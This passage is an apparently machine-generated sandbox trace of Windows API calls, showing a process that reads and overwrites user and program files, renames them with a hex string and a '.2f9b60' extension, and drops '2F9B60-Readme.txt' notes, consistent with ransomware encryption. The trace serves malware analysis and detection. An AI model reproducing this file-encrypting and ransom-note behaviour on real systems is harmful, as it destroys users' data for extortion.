hFile=0x1acc, lpBuffer=0x421e89a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a3df820, lpOverlapped=0x0 | out: lpBuffer=0x421e89a0*, lpNumberOfBytesRead=0x3a3df820*=0x3c00, lpOverlapped=0x0) returned 1 [0199.117] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2e0 [0199.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c2e0) returned 1 [0199.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423db5c0 [0199.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2e0 [0199.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c310 [0199.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c310) returned 1 [0199.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.120] WriteFile (in: hFile=0x1acc, lpBuffer=0x423db5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a3df820, lpOverlapped=0x0 | out: lpBuffer=0x423db5c0*, lpNumberOfBytesWritten=0x3a3df820*=0x3c00, lpOverlapped=0x0) returned 1 [0214.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423db5c0) returned 1 [0214.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104a30 [0214.818] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.818] WriteFile (in: hFile=0x1acc, lpBuffer=0x19f020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x3a3df8d0, lpOverlapped=0x0 | out: lpBuffer=0x19f020*, lpNumberOfBytesWritten=0x3a3df8d0*=0x16c, lpOverlapped=0x0) returned 1 [0218.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0218.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6c0 [0218.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6c0) returned 1 [0218.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce616a0 [0218.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6c0 [0218.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d690 [0218.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d690) returned 1 [0218.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0218.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1b79de70 [0218.808] sprintf (in: _Dest=0x1b79de70, _Format="%c%c" | out: _Dest="2f") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de72, _Format="%c%c" | out: _Dest="aa") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de74, _Format="%c%c" | out: _Dest="98") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de76, _Format="%c%c" | out: _Dest="47") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de78, _Format="%c%c" | out: _Dest="74") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de7a, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de7c, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de7e, _Format="%c%c" | out: _Dest="25") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de80, _Format="%c%c" | out: _Dest="69") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de82, _Format="%c%c" | out: _Dest="d5") returned 2 [0218.808] sprintf (in: _Dest=0x1b79de84, _Format="%c%c" | out: _Dest="59") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de86, _Format="%c%c" | out: _Dest="5b") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de88, _Format="%c%c" | out: _Dest="9f") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de8a, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de8c, _Format="%c%c" | out: _Dest="85") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de8e, _Format="%c%c" | out: _Dest="b8") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de90, _Format="%c%c" | out: _Dest="a7") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de92, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de94, _Format="%c%c" | out: _Dest="26") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de96, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de98, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de9a, _Format="%c%c" | out: _Dest="39") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de9c, _Format="%c%c" | out: _Dest="8a") returned 2 [0218.809] sprintf (in: _Dest=0x1b79de9e, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.809] sprintf (in: _Dest=0x1b79dea0, _Format="%c%c" | out: _Dest="c5") returned 2 [0218.809] sprintf (in: _Dest=0x1b79dea2, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.809] sprintf (in: _Dest=0x1b79dea4, _Format="%c%c" | out: _Dest="41") returned 2 [0218.809] sprintf (in: _Dest=0x1b79dea6, _Format="%c%c" | out: _Dest="1d") returned 2 [0218.809] sprintf (in: _Dest=0x1b79dea8, _Format="%c%c" | out: _Dest="92") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deaa, _Format="%c%c" | out: _Dest="a6") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deac, _Format="%c%c" | out: _Dest="c9") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deae, _Format="%c%c" | out: _Dest="aa") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deb0, _Format="%c%c" | out: _Dest="a6") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deb2, _Format="%c%c" | out: _Dest="75") returned 2 [0218.809] sprintf (in: _Dest=0x1b79deb4, _Format="%c%c" | out: _Dest="da") returned 2 [0218.810] sprintf (in: _Dest=0x1b79deb6, _Format="%c%c" | out: _Dest="8d") returned 2 [0218.810] sprintf (in: _Dest=0x1b79deb8, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.810] sprintf (in: _Dest=0x1b79deba, _Format="%c%c" | out: _Dest="33") returned 2 [0218.810] sprintf (in: _Dest=0x1b79debc, _Format="%c%c" | out: _Dest="d2") returned 2 [0218.810] sprintf (in: _Dest=0x1b79debe, _Format="%c%c" | out: _Dest="4e") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dec0, _Format="%c%c" | out: _Dest="34") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dec2, _Format="%c%c" | out: _Dest="7f") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dec4, _Format="%c%c" | out: _Dest="64") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dec6, _Format="%c%c" | out: _Dest="ad") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dec8, _Format="%c%c" | out: _Dest="7f") returned 2 [0218.810] sprintf (in: _Dest=0x1b79deca, _Format="%c%c" | out: _Dest="31") returned 2 [0218.810] sprintf (in: _Dest=0x1b79decc, _Format="%c%c" | out: _Dest="26") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dece, _Format="%c%c" | out: _Dest="c4") returned 2 [0218.810] sprintf (in: _Dest=0x1b79ded0, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.810] sprintf (in: _Dest=0x1b79ded2, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.810] sprintf (in: _Dest=0x1b79ded4, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.810] sprintf (in: _Dest=0x1b79ded6, _Format="%c%c" | out: _Dest="ca") returned 2 [0218.810] sprintf (in: _Dest=0x1b79ded8, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.810] sprintf (in: _Dest=0x1b79deda, _Format="%c%c" | out: _Dest="69") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dedc, _Format="%c%c" | out: _Dest="81") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dede, _Format="%c%c" | out: _Dest="6e") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dee0, _Format="%c%c" | out: _Dest="df") returned 2 [0218.810] sprintf (in: _Dest=0x1b79dee2, _Format="%c%c" | out: _Dest="de") returned 2 [0218.811] RtlInitAnsiString (in: DestinationString=0x3a3df948, SourceString="2faa9847744bae2569d5595b9f1a85b8a7ab267da4398aefc5f8411d92a6c9aaa675da8de633d24e347f64ad7f3126c4fb0b7bca1a69816edfde" | out: DestinationString="2faa9847744bae2569d5595b9f1a85b8a7ab267da4398aefc5f8411d92a6c9aaa675da8de633d24e347f64ad7f3126c4fb0b7bca1a69816edfde") [0218.811] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a3df918, SourceString="2faa9847744bae2569d5595b9f1a85b8a7ab267da4398aefc5f8411d92a6c9aaa675da8de633d24e347f64ad7f3126c4fb0b7bca1a69816edfde", AllocateDestinationString=1 | out: DestinationString="2faa9847744bae2569d5595b9f1a85b8a7ab267da4398aefc5f8411d92a6c9aaa675da8de633d24e347f64ad7f3126c4fb0b7bca1a69816edfde") returned 0x0 [0218.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78ee80 [0218.811] wcscat (in: _Dest=0x43157b40, _Source="2faa9847744bae2569d5595b9f1a8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8" [0218.812] wcscat (in: _Dest=0x43157b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8.2f9b60" [0218.812] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8.2f9b60", NtPathName=0x3a3df8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2faa9847744bae2569d5595b9f1a8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf0) returned 0x1b78e880 [0222.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e880) returned 1 [0222.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430770b0) returned 1 [0222.749] NtQueryInformationFile (in: FileHandle=0x1acc, IoStatusBlock=0x3a3df958, FileInformation=0x3a3df968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a3df958, FileInformation=0x3a3df968) returned 0x0 [0222.749] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x3a3df958, FileInformation=0x3a3df968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157b40) returned 1 [0223.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ee80) returned 1 [0223.255] FlushFileBuffers (hFile=0x1acc) returned 1 [0224.002] CloseHandle (hObject=0x1acc) returned 1 [0224.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431eca20 [0224.901] wcscpy (in: _Dest=0x431eca20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0224.901] wcscat (in: _Dest=0x431eca20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2F9B60-Readme.txt" [0224.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\2f9b60-readme.txt")) returned 0xffffffff [0224.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a5c [0225.957] WriteFile (in: hFile=0x2a5c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3a3df810, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3a3df810*=0xba9, lpOverlapped=0x0) returned 1 [0226.540] CloseHandle (hObject=0x2a5c) returned 1 [0227.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eca20) returned 1 [0227.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 Thread: id = 2154 os_tid = 0x1534 [0140.161] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0140.163] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0140.163] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.163] GetLastError () returned 0x5 [0140.163] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0140.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 Thread: id = 2155 os_tid = 0x1538 [0140.165] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0140.166] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0140.166] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.166] GetLastError () returned 0x5 [0140.166] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0140.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 Thread: id = 2156 os_tid = 0x153c [0140.170] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\64DKrBlnbn.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\64dkrblnbn.mkv")) returned 0x20 [0140.170] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\64DKrBlnbn.mkv", dwFileAttributes=0x20) returned 1 [0140.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\64DKrBlnbn.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\64dkrblnbn.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af8 [0140.745] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x3a28f900 | out: lpFileSize=0x3a28f900*=2412) returned 1 [0140.745] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x968, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.745] ReadFile (in: hFile=0x1af8, lpBuffer=0x3a28f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a28f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3a28f880*, lpNumberOfBytesRead=0x3a28f8c8*=0x4, lpOverlapped=0x0) returned 1 [0140.746] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda50 [0140.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0140.746] NtQuerySystemTime (in: CurrentTime=0x3a28f7c0 | out: CurrentTime=0x3a28f7c0*=132462177459922000) returned 0x0 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x549881b [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5209de7e [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5f998e78 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x11810ea [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x6fd11df7 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x469ede84 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x26ffd10f [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x39a88945 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x51d67f24 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x515ecdc4 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x59e26320 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x3a70c786 [0140.746] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x288f6f10 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x3d9311bb [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x31d6326f [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x26be48f5 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x4b04dbea [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5f68e305 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5f14e2db [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x6945ce3a [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0xe42db45 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x56eccad3 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5ad80c0 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x4193c0fe [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5aa2355b [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x794dbfe1 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x520bcae2 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x5d7349fc [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x61dfab5a [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x15e35f91 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x234f8a92 [0140.747] RtlRandomEx (in: Seed=0x3a28f7b0 | out: Seed=0x3a28f7b0) returned 0x2491f44d [0140.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0140.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdae0 [0140.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42272140 [0140.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42275d50 [0140.756] ReadFile (in: hFile=0x1af8, lpBuffer=0x42272140, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x3a28f7b0, lpOverlapped=0x0 | out: lpBuffer=0x42272140*, lpNumberOfBytesRead=0x3a28f7b0*=0x96c, lpOverlapped=0x0) returned 1 [0140.756] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.756] WriteFile (in: hFile=0x1af8, lpBuffer=0x42275d50*, nNumberOfBytesToWrite=0x96c, lpNumberOfBytesWritten=0x3a28f7b4, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesWritten=0x3a28f7b4*=0x96c, lpOverlapped=0x0) returned 1 [0140.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf90 [0140.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0140.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0140.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42275d50) returned 1 [0140.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42272140) returned 1 [0140.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f5b0 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0140.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fbf0 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0140.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdff0 [0140.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdff0) returned 1 [0140.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x1674c0 [0140.955] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.955] WriteFile (in: hFile=0x1af8, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3a28f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3a28f8d0*=0x10e, lpOverlapped=0x0) returned 1 [0141.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0141.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0141.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0141.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202617c0 [0141.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0141.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0141.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0141.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0141.036] RtlAllocateHeap 